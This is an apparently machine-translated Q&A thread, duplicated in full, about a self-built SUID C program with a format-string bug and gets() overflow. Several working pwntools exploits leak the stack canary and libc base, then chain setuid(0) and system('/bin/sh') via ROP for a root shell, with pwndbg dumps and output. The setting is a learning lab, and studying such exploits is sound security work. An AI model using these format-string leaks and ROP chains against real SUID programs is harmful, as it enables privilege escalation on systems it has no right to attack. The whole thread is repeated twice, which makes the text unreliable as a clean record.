在缓冲区溢出时获取 SIGSEV
Get a SIGSEV on a buffer overflow
我正在尝试在启用所有保护(即 ASLR、canary、PIE、NX、Full RelRO - 禁用 Fortify)的简单 x64 C 二进制文件上创建缓冲区溢出。我正在使用(更新的)x64 Kali Linux 2020.3 发行版(在 vmware 中使用来自官方攻击性安全网站的 vmware 图像)。我正在以 root 身份编译程序,并启用 SUID 位以从非特权帐户以 root 权限访问程序。漏洞程序(example5.c
)的代码如下:
#include <stdio.h>
int main(int argc, char *argv[]){
vuln_func(argv[1]);
return 0;
}
void vuln_func(char *input){
char buffer[256];
printf(input);
printf("\n");
gets(buffer);
}
并编译我正在使用的程序 Makefile
:
all:
gcc example5.c -g -Wl,-z,relro,-z,now -o example5 -fstack-protector -D_FORTIFY_SOURCE=0
clean:
rm example5
所以,我打开我的终端并输入:
su
<enter root password>
make
chmod u+s example5
exit
然后我使用我在 python 3.8.6 中创建的漏洞,使用 pwntools 泄漏 canary 和 libc (libc-2.31.so
) 的基地址来执行 return-to-libc 攻击(使用 2 个小工具)。漏洞利用如下(exploit5.py
):
#!/usr/bin/env python3
from pwn import *
p = process(["./example5", "%21$llx:%41$llx:"])
leak = p.readline().decode("utf-8").split(":")
libc_base = int(leak[0], 16) - 0x1f83cc
canary = int(leak[1], 16)
log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")
poprdi_ret = p64(libc_base + 0x2679e) # pop rdi; ret
padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address
"""
2 gadgets
setuid(0) - run as root
system("/bin/sh") - execute a shell
"""
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + 0x25000 + 0xa70c0) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + 0x18a156) # /bin/sh address
code += p64(libc_base + 0x25000 + 0x23db0) # system address
code += p64(libc_base + 0x25000 + 0x195c0) # exit address
payload = padding + code
p.sendline(payload)
p.interactive()
虽然值被正确泄漏,但我得到如下分段错误:
kali@kali:~/Desktop/boe/example5$ ./exploit5.py
[+] Starting local process './example5': pid 3288
[+] libc base: 0x7ffff7df5000
[+] stack canary: 0xccf346b075ea7800
[*] Switching to interactive mode
[*] Process './example5' stopped with exit code -11 (SIGSEGV) (pid 3288)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
我认为您错误地计算了一些偏移量。我修改了您的脚本以自动执行一些计算。我正在使用 Ubuntu 20.04 进行测试。顺便说一句,您应该使用 %p
而不是 %llx
作为地址。
在 printf(input);
之后设置断点然后检查堆栈,我决定去 __libc_start_main
泄漏 libc
base:
pwndbg> x/50gx $rsp
0x7ffe9551fac0: 0x0000000000000000 0x00007ffe95520419 <-- First 6 arguments are in registers, so stack starts with the seventh argument
0x7ffe9551fad0: 0x0000034000000340 0x0000034000000340
0x7ffe9551fae0: 0x0000034000000340 0x0000034000000340
0x7ffe9551faf0: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb00: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb10: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb20: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb30: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb40: 0x0000000000000000 0x0000000000000100
0x7ffe9551fb50: 0x0000000000000000 0x0000000000000000
0x7ffe9551fb60: 0x0000000000000000 0x0000000000000000
0x7ffe9551fb70: 0x0000000000000000 0x0000000000000000
0x7ffe9551fb80: 0x0000000000000000 0x0000000000000000
0x7ffe9551fb90: 0x0000000000000000 0x0000000000000000
0x7ffe9551fba0: 0x000055f431237040 0x0000000000f0b5ff
0x7ffe9551fbb0: 0x00000000000000c2 0x00007ffe9551fbe7
0x7ffe9551fbc0: 0x00007ffe9551fbe6 0x000055f43123829d
0x7ffe9551fbd0: 0x00007fa277732fc8 0xb0b4adcb5c037800
0x7ffe9551fbe0: 0x00007ffe9551fc00 0x000055f4312381d4
0x7ffe9551fbf0: 0x00007ffe9551fcf8 0x0000000200000000
0x7ffe9551fc00: 0x0000000000000000 0x00007fa2775690b3 <-- I choose this address
0x7ffe9551fc10: 0x00007fa277778620 0x00007ffe9551fcf8
0x7ffe9551fc20: 0x0000000200000000 0x000055f4312381a9
0x7ffe9551fc30: 0x000055f431238250 0x647176ddde9b26f8
0x7ffe9551fc40: 0x000055f4312380c0 0x00007ffe9551fcf0
pwndbg> x/i 0x00007fa2775690b3
0x7fa2775690b3 <__libc_start_main+243>: mov edi,eax
pwndbg>
利用:
#!/usr/bin/env python3
from pwn import *
p = process(["./example5", "%41$p:%47$p:"])
elf = ELF('./example5')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
leak = p.readline().decode("utf-8").split(":")
canary = int(leak[0], 16)
libc_base = int(leak[1], 16) - lib.symbols['__libc_start_main'] - 243 # In my Ubuntu, %47$p is __libc_start_main+243, you should check your debugger
log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")
poprdi_ret_gadget = 0x0000000000026b72 # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
poprdi_ret = p64(libc_base + poprdi_ret_gadget) # pop rdi; ret
padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address
"""
2 gadgets
setuid(0) - run as root
system("/bin/sh") - execute a shell
"""
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + lib.symbols['setuid']) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + next(lib.search(b'/bin/sh'))) # /bin/sh address
code += p64(libc_base + lib.symbols['system']) # system address
code += p64(libc_base + lib.symbols['exit']) # exit address
payload = padding + code
p.sendline(payload)
p.interactive()
结果:
zeltrax@ubuntu:~$ python3 test.py
[+] Starting local process './example5': pid 2507
[*] '/home/zeltrax/example5'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc base: 0x7fcc1f376000
[+] stack canary: 0x5741569d0b8c9d00
[*] Switching to interactive mode
$ ls
a.out Desktop HeapLAB pwn1 sandbox.py test.py
bf.py Dockerfile_example libc.so.6 pwn2 solve2.py tools
core example5 msfinstall random_gen test.c zeltrax00.ovpn
c.py flag.txt pictures readfile.asm test.o
$ whoami
zeltrax
$
首先,感谢您对我的帮助。其次,感谢您对 %p 的提示。第三,总的来说非常感谢你。这是一个愚蠢的错误。由于某些原因(如您所说),我将 libc_base
偏移计算为 0x1f83cc
,而我本应使用 0x1f73cc
。我从你的代码中学到了很多关于 pwntools 的知识。所以我机器上的最终漏洞是:
#!/usr/bin/env python3
from pwn import *
p = process(["./example5", "%21$p:%41$p:"])
lib = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
leak = p.readline().decode("utf-8").split(":")
libc_base = int(leak[0], 16) - 0x1f73cc
canary = int(leak[1], 16)
log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")
poprdi_ret = p64(libc_base + 0x2679e) # pop rdi; ret
padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + lib.symbols['setuid']) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + next(lib.search(b'/bin/sh'))) # /bin/sh address
code += p64(libc_base + lib.symbols['system']) # system address
code += p64(libc_base + lib.symbols['exit']) # exit address
payload = padding + code
p.sendline(payload)
p.interactive()
再次感谢!
我正在尝试在启用所有保护(即 ASLR、canary、PIE、NX、Full RelRO - 禁用 Fortify)的简单 x64 C 二进制文件上创建缓冲区溢出。我正在使用(更新的)x64 Kali Linux 2020.3 发行版(在 vmware 中使用来自官方攻击性安全网站的 vmware 图像)。我正在以 root 身份编译程序,并启用 SUID 位以从非特权帐户以 root 权限访问程序。漏洞程序(example5.c
)的代码如下:
#include <stdio.h>
int main(int argc, char *argv[]){
vuln_func(argv[1]);
return 0;
}
void vuln_func(char *input){
char buffer[256];
printf(input);
printf("\n");
gets(buffer);
}
并编译我正在使用的程序 Makefile
:
all:
gcc example5.c -g -Wl,-z,relro,-z,now -o example5 -fstack-protector -D_FORTIFY_SOURCE=0
clean:
rm example5
所以,我打开我的终端并输入:
su
<enter root password>
make
chmod u+s example5
exit
然后我使用我在 python 3.8.6 中创建的漏洞,使用 pwntools 泄漏 canary 和 libc (libc-2.31.so
) 的基地址来执行 return-to-libc 攻击(使用 2 个小工具)。漏洞利用如下(exploit5.py
):
#!/usr/bin/env python3
from pwn import *
p = process(["./example5", "%21$llx:%41$llx:"])
leak = p.readline().decode("utf-8").split(":")
libc_base = int(leak[0], 16) - 0x1f83cc
canary = int(leak[1], 16)
log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")
poprdi_ret = p64(libc_base + 0x2679e) # pop rdi; ret
padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address
"""
2 gadgets
setuid(0) - run as root
system("/bin/sh") - execute a shell
"""
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + 0x25000 + 0xa70c0) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + 0x18a156) # /bin/sh address
code += p64(libc_base + 0x25000 + 0x23db0) # system address
code += p64(libc_base + 0x25000 + 0x195c0) # exit address
payload = padding + code
p.sendline(payload)
p.interactive()
虽然值被正确泄漏,但我得到如下分段错误:
kali@kali:~/Desktop/boe/example5$ ./exploit5.py
[+] Starting local process './example5': pid 3288
[+] libc base: 0x7ffff7df5000
[+] stack canary: 0xccf346b075ea7800
[*] Switching to interactive mode
[*] Process './example5' stopped with exit code -11 (SIGSEGV) (pid 3288)
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
我认为您错误地计算了一些偏移量。我修改了您的脚本以自动执行一些计算。我正在使用 Ubuntu 20.04 进行测试。顺便说一句,您应该使用 %p
而不是 %llx
作为地址。
在 printf(input);
之后设置断点然后检查堆栈,我决定去 __libc_start_main
泄漏 libc
base:
pwndbg> x/50gx $rsp
0x7ffe9551fac0: 0x0000000000000000 0x00007ffe95520419 <-- First 6 arguments are in registers, so stack starts with the seventh argument
0x7ffe9551fad0: 0x0000034000000340 0x0000034000000340
0x7ffe9551fae0: 0x0000034000000340 0x0000034000000340
0x7ffe9551faf0: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb00: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb10: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb20: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb30: 0x0000034000000340 0x0000034000000340
0x7ffe9551fb40: 0x0000000000000000 0x0000000000000100
0x7ffe9551fb50: 0x0000000000000000 0x0000000000000000
0x7ffe9551fb60: 0x0000000000000000 0x0000000000000000
0x7ffe9551fb70: 0x0000000000000000 0x0000000000000000
0x7ffe9551fb80: 0x0000000000000000 0x0000000000000000
0x7ffe9551fb90: 0x0000000000000000 0x0000000000000000
0x7ffe9551fba0: 0x000055f431237040 0x0000000000f0b5ff
0x7ffe9551fbb0: 0x00000000000000c2 0x00007ffe9551fbe7
0x7ffe9551fbc0: 0x00007ffe9551fbe6 0x000055f43123829d
0x7ffe9551fbd0: 0x00007fa277732fc8 0xb0b4adcb5c037800
0x7ffe9551fbe0: 0x00007ffe9551fc00 0x000055f4312381d4
0x7ffe9551fbf0: 0x00007ffe9551fcf8 0x0000000200000000
0x7ffe9551fc00: 0x0000000000000000 0x00007fa2775690b3 <-- I choose this address
0x7ffe9551fc10: 0x00007fa277778620 0x00007ffe9551fcf8
0x7ffe9551fc20: 0x0000000200000000 0x000055f4312381a9
0x7ffe9551fc30: 0x000055f431238250 0x647176ddde9b26f8
0x7ffe9551fc40: 0x000055f4312380c0 0x00007ffe9551fcf0
pwndbg> x/i 0x00007fa2775690b3
0x7fa2775690b3 <__libc_start_main+243>: mov edi,eax
pwndbg>
利用:
#!/usr/bin/env python3
from pwn import *
p = process(["./example5", "%41$p:%47$p:"])
elf = ELF('./example5')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
leak = p.readline().decode("utf-8").split(":")
canary = int(leak[0], 16)
libc_base = int(leak[1], 16) - lib.symbols['__libc_start_main'] - 243 # In my Ubuntu, %47$p is __libc_start_main+243, you should check your debugger
log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")
poprdi_ret_gadget = 0x0000000000026b72 # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
poprdi_ret = p64(libc_base + poprdi_ret_gadget) # pop rdi; ret
padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address
"""
2 gadgets
setuid(0) - run as root
system("/bin/sh") - execute a shell
"""
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + lib.symbols['setuid']) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + next(lib.search(b'/bin/sh'))) # /bin/sh address
code += p64(libc_base + lib.symbols['system']) # system address
code += p64(libc_base + lib.symbols['exit']) # exit address
payload = padding + code
p.sendline(payload)
p.interactive()
结果:
zeltrax@ubuntu:~$ python3 test.py
[+] Starting local process './example5': pid 2507
[*] '/home/zeltrax/example5'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc base: 0x7fcc1f376000
[+] stack canary: 0x5741569d0b8c9d00
[*] Switching to interactive mode
$ ls
a.out Desktop HeapLAB pwn1 sandbox.py test.py
bf.py Dockerfile_example libc.so.6 pwn2 solve2.py tools
core example5 msfinstall random_gen test.c zeltrax00.ovpn
c.py flag.txt pictures readfile.asm test.o
$ whoami
zeltrax
$
首先,感谢您对我的帮助。其次,感谢您对 %p 的提示。第三,总的来说非常感谢你。这是一个愚蠢的错误。由于某些原因(如您所说),我将 libc_base
偏移计算为 0x1f83cc
,而我本应使用 0x1f73cc
。我从你的代码中学到了很多关于 pwntools 的知识。所以我机器上的最终漏洞是:
#!/usr/bin/env python3
from pwn import *
p = process(["./example5", "%21$p:%41$p:"])
lib = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
leak = p.readline().decode("utf-8").split(":")
libc_base = int(leak[0], 16) - 0x1f73cc
canary = int(leak[1], 16)
log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")
poprdi_ret = p64(libc_base + 0x2679e) # pop rdi; ret
padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + lib.symbols['setuid']) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + next(lib.search(b'/bin/sh'))) # /bin/sh address
code += p64(libc_base + lib.symbols['system']) # system address
code += p64(libc_base + lib.symbols['exit']) # exit address
payload = padding + code
p.sendline(payload)
p.interactive()
再次感谢!